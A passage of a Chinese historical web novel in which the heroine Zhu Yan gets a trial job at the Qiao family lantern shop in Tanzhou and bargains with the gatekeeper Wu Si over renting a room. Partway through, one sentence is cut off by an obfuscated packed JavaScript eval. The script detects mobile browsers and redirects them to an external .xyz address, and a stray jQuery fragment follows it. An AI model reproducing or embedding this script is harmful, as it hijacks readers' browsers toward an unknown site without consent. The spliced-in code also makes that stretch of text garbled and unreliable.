林胥书摇摇头,躲在林三婶怀里,将两个娃娃抱在怀里不撒手。
朱颜就继续逗他:“汴京有种更好看的,叫“磨喝乐”,你见过没?”
对比黄胖和泥孩儿这种平民化的玩具,磨喝乐才是富庶家庭孩子人手一个,堪称“玩偶标杆”。这些玩偶大多是粉雕玉琢的童子模样,面容刻画细腻、神态天真可爱,甚至还有专门给做玩偶衣裳的绣娘,绫罗绸缎,一件光工钱就得四五百文,穿得比普通百姓还要富贵。
从前伺候的知州府二娘子就有两个,看得比什么都金贵,也不许别人碰,朱颜眼睛看过几次,觉得真是好看的紧。
当时她自诩绣花手艺还不错,眼热后有心研究了这条致富路,不过察觉自己没这个天份就直接放弃了。
后来府里来了位女先生专门教授未出阁小娘子们的四艺,她陪着二娘子上课,对女先生另辟蹊径的教课方式给吸引了,也发觉自己对绘画一事上有些天赋,便趁着休息时候跟着学了一些,记在心里后托门房婆子买来草纸羊毫笔在屋子里练习。
女先生性格随和,哪怕是她休息时间,只要朱颜去请教她都耐心指正教授。
彩铃见她舞文弄墨起先还嘲笑讥讽,朱颜自是干自己的,对她的嘲讽充耳不闻。
后来见朱颜日复一日地并未丢下,且画工越练越好,彩铃也就闭了口,甚至还让朱颜给她画了人像送回家里去,说是家里要给她说亲事用。
听朱颜描述,林胥书也听懂了,有些好奇,却依旧不答话,也依然依偎着林三婶。
林三婶抿着唇笑:“这孩子就是这样,过两日熟了就好了,到时候在你身上都下不来,抱得手都发酸。”
朱颜也笑,就不再逗林胥书,同林三婶拉起家常来。
有人说话时间就过得快些,中途在村户起的茶寮简单吃了两口,又上车继续赶路。
阴九邵远换着驾车,也不觉累,还提前了半个多时辰就抵达了檀州城内。
檀州城中心无河道过也就无桥,宽阔的街道,商铺林立,规整又人流走动,很是热闹。
进城前就换了阴九驾车,很快就到了林三婶娘家所在的方市巷子。
“去家里坐坐吧,衙门离这不远,待会让阴九送你们过去,也不差这一会儿。”
邵远本想婉拒,忽然想起朱颜找工的事来,便换了口风:“既如此,就多谢三婶了。”
林三婶娘家姓乔,从祖辈起就做灯笼生意,是远近闻名的富户。这里却并非是乔家老屋,而是乔大舅娶妻后在此处另外置的,生意又主要在檀州,就住在这里不怎么回升元县了。
后来乔父觉得儿子如此像给人做上门女婿,于是置气也找了林老三做了个“上门”的,引发出林三婶的婚事来。
丈夫和乔父去世,林三婶的娘家也就变成了住在檀州的乔大舅家。
不过到底是商户,纵使再有钱,住宅规制也不能越矩,从外头走进正堂可以看出,是个规规整整的小三进院子。
林三婶旅途疲累,安排了家里的丫鬟带着两人去前堂坐着吃茶,回去让仆夫抱走了林胥书下去睡一会,自己更衣梳洗后去后面的书房见兄长大嫂。
不过大嫂不在,她娘家三弟媳生了孩子,她回去给孩子洗三添礼了,并不在家。
“大哥。”
乔大舅年过四十,鼻子高挺,双颊丰隆,且体态修长,并未发福,穿着皂色直领对襟长袍,看着有些读书人的儒雅模样,不像个商人。
“回来了。”他招呼一声,让林三婶坐下说话,“路上还平安吗?”
林三婶就点头:“挺好的,胥书不哭不闹,这孩子乖巧,省心得很。”
之前林三婶就托人送了信回来,因此乔大舅早就晓得这件事,也欣慰道:“贴你的心就好,我才放心,你一个人守着难免遭人议论,或是惹来麻烦,有个孩子陪着你,日子才有盼头。”
林三婶深以为然,沉默赞同。
“前头那两个是和你一道来的?是什么人?”
林三婶将邵远夫妻的来历道明,直言朱颜是从汴京来的,想找个工做,不晓得乔家的铺子里有无适合的。
说起这个,乔大舅的铺子里还真缺了人,于是问:“不知道她会些什么?能写字画画吗,还是做粗活一类?”
乔家是商户,不能买卖人,只能雇或赁,家里的人都是如此来的。
乔家也不缺钱,因此不需要粗活类的妇人。再说到底和妹子婆家一个村里的,要是叫村里的人晓得朱颜到这里来被赁给自己家里伺候做事,只怕有些不好听。
林三婶就道:“我听林一说她是从牙行车上买来的,一早是汴京大户人家里出来的丫鬟,说不定诗书写画都会一些。而且我瞧着她人大方,说话也妥帖,是个不错的人。”
一路上为了打发旅途寂寞,两个人谈天说地不少,林三婶也对朱颜有些许了解。
乔大舅就点点头,“既然如此,先让她去铺子里试一试再说。”
人情要讲,可做事得讲实力,林三婶给朱颜争取到了机会,能不能把握住只看她自己的了。
于是兄妹俩不再提,说过两句其他家事林三婶就去了正堂。
见她来,邵远夫妻俩起身。
林三婶就将自家大哥的意思说了:“铺子里正好缺人,就是不晓得愿不愿意做?”
朱颜赶紧答:“愿意的,我愿意。”
“那好,等你们小两口安顿好了,就到西直街回字巷的第二间乔氏灯笼铺里去,就找王管事,让她带你试一试再说。”林三婶话说得很周到,“若是不适合,我再继续给你留意别的活。”
谢过林三婶,邵远夫妇出门去,被阴九送到檀州衙门处,才送他驾车离开。
衙门上的一个十六七岁的门子见两人带着行李,就主动招呼:“是修筑城墙的工匠吧?工房的赵工书正好在里头,快去。”
州府县府衙门皆效仿汴京六部,设立有工房办事点,邵远就是到这处去报道,然后等着告知何时上工,到时候按登记算工钱。
邵远进去后,朱颜就对四周围都打量起来。
檀州城的衙门并未设立单独的街巷,反倒是在闹市区,因而周围有不少的商铺与摊贩,就朱颜站在这一刻钟里,就经过了卖蒸饼的、卖茶汤糖粥的、卖馄饨的、还有香辣猪肺,甚至卖鞋卖针线杂货等七八个挑担子。
门子招呼完邵远,就叫住了个卖馄饨的,翘着脚等着出锅。
一碗馄饨十个团,葱花和鸡汤的香气扑面而来。馄饨小而鲜,吃了一碗不够饱腹,但打牙祭是足够了。
闻到这味,朱颜就想起了周四娘熬的鸡汤,不得不说,她的手艺真不错,留在家里做农活实在是屈才了。
朱颜胡思乱想时,门子早就打量过朱颜了,也瞧见她脸上的疤,但并不流露出诧异,而是笑呵呵地道,“娘子头一次来檀州吧?咱们这儿别的不多,就担子多,以后你就晓得了。”
朱颜看着门子,心里忽然一动,顺口答了,两句就将话引到了乔家灯笼铺子上头去。
“娘子打听乔氏灯笼铺作甚?”
朱颜脸上挂着笑:“我夫君有正经事做,我跟着来也不好勤吃懒做,就托人四下打听了哪里能做工。这不,就问到了乔氏灯笼铺子,不晓得如何,想小哥你在衙门做事,消息比旁人灵通,就想着问问。”
朱颜虽然面部有损,但人五官生的端正好看,又带了笑,恭维的话说的也不惹人厌,很难让人不回答。
于是门子就笑道:“乔氏这家灯笼铺可是开了好多年了,从我小时候就有,以前还将铺子开到了相邻的几个州府去了,只是最近两年有家顾氏铺子开了起来,乔氏的生意就没那么好了。”
“不过人常说“瘦死的骆驼比马大”,咱们乡邻乡亲的习惯到乔氏买灯笼,前两日衙门里的孙户书儿子办亲事,就在乔氏订了二十个红绢布灯笼,我也去了,是要比单挂红绸要好看——啧啧,没看出来孙户书手面还挺大。”
“还有中秋的灯会,每年也都是乔氏承包了……所以说这檀州城里也还是乔氏生意好一些,不过周
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457016|185013||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
围几个州府就不行了,听说顾家铺子开起来以后,乔家的就陆续关了,当下只料理咱们本地这家。”
“哎,你去乔氏做工是干什么活的?”
朱颜答:“还不晓得,去了才知道。”
门子上下再打量她,就断言:“看你斯文白净,定然不会是做扎架糊面的活,只怕是写写画画的。嗳,以后我要是去订灯,你可得给我折价啊。”
还没去呢,都要上折价了,朱颜心里暗道这小子不愧是衙门的人。
看他这样油滑,朱颜忽然想到住处还待解决,与其四处问,不如问他。
才问了,门子就笑嘻嘻地一拍大腿:“这不巧了嘛,我还当你们有亲戚的去处,也没敢问。我大伯就有个院子对外赁,离修筑工事地也不远。”
才说完,就见邵远的身形出来。
正巧有个卖香辣猪肺的担子过,门子叫住他买了一份端进去好贿赂门头,门头见有吃的并不拦,于是顺利告假带着邵远夫妻去赁房。
“我姓吴,家里排四,没取名字,你们就叫我吴四郎就成。”
这吴四郎是个年纪轻的,嘴巴又能说会道,一譬和街坊招呼,一譬介绍起来,“我大伯早年出去闯荡赚了些钱,回来就置了这座宅子住。可惜不知节省只知挥霍,又亏损了身子生育不了,死的时候连个哭丧的人都没,还欠了好半年的屋债,还是我给他伺候了送了终,他走的时候老泪纵横,将宅子交给我打理,也算是个进项。嗳,注意前头有台阶。”
朱颜厌烦听他唠叨,自己拿眼睛到处观察。
吴家这座小宅子位于城东头酒缸巷,听说从前是有名的酿酒作坊,后来垮了后就都盘了出去,也就是那时候吴大伯捡了个缺置了一方,就是位于巷子进去第二间。
不过继承了不代表就是他的,债一道也继承了,月月还得还,比道上混的还会抢钱。
宅子类似小四合院,面积不算宽敞,院子里有棵杏子树,有个小姑娘在树下头看蚂蚁,看到来了人就起身进了东面厢房。
吴四郎先后指了东面和西面的厢房:“那边住了两户人家,各占两间房,西面住了一户。”
最后余下的南边厢房挨着院门,窗户也朝巷子里开,夜里巷子进出归家的人,早上货郎担子倾倒脚,难免会有些吵,价格最低,因此空了很久也没人看。
邵远皱眉头,他提前打听过,因此并不认可这个价格,“二百五十文,我们不用灶房,也不另外起炉子。”
他说的生硬,吴四郎也不生气,只是摇头笑呵呵道:“最低三百文,你出去打听打听,也就我这价低,旁的谁不要三百二十文?”
朱颜心里盘算了一下。
即便乔家的工她做了,早晚饭也得自己解决,日日买来吃定然费钱,再说她还想趁着这个机会给邵远好好补一补,他太瘦了。
而且这里离邵远做工地方近,可以不用过早起来。
于是拍了拍邵远的手示意他不要说话,自己笑着和吴四郎拉扯价格:“我们要用灶房,但价格的确太高了,瞧,这几间屋子就南边这两间没赁出去……你也是个热心肠的,以后我夫君还会去工房进出,都是要来往的,咱们不如就各退一步。”
“若是你同意,你说的三百文我就不还价了,如何?”
吴四郎人精一样的,心里早就算好了。
这宅子本就在冷背街,价格远不如前头正临街一间院子加铺面,能收二两银子的月租。
他刚接手的时候空了好几个月,月月都要倒给屋税,最后学旁人拆了租,这才有了营收。
朱颜用不用灶房他并不在乎,再说南边这两间房因靠街面已经空了好几个月了,左右能将这两间房赁出去换成钱强过一切,毕竟每个月的屋税都等着要给。
心里已经点了头,不过面上并不露,更是有些为难:“好吧,既然你都这样说了,那就这个价吧。”又补了一句,“旁人问了,你就说三百二十文啊。”
朱颜就笑着应了,将邵母给的一吊钱数了六百个出来,交了房租。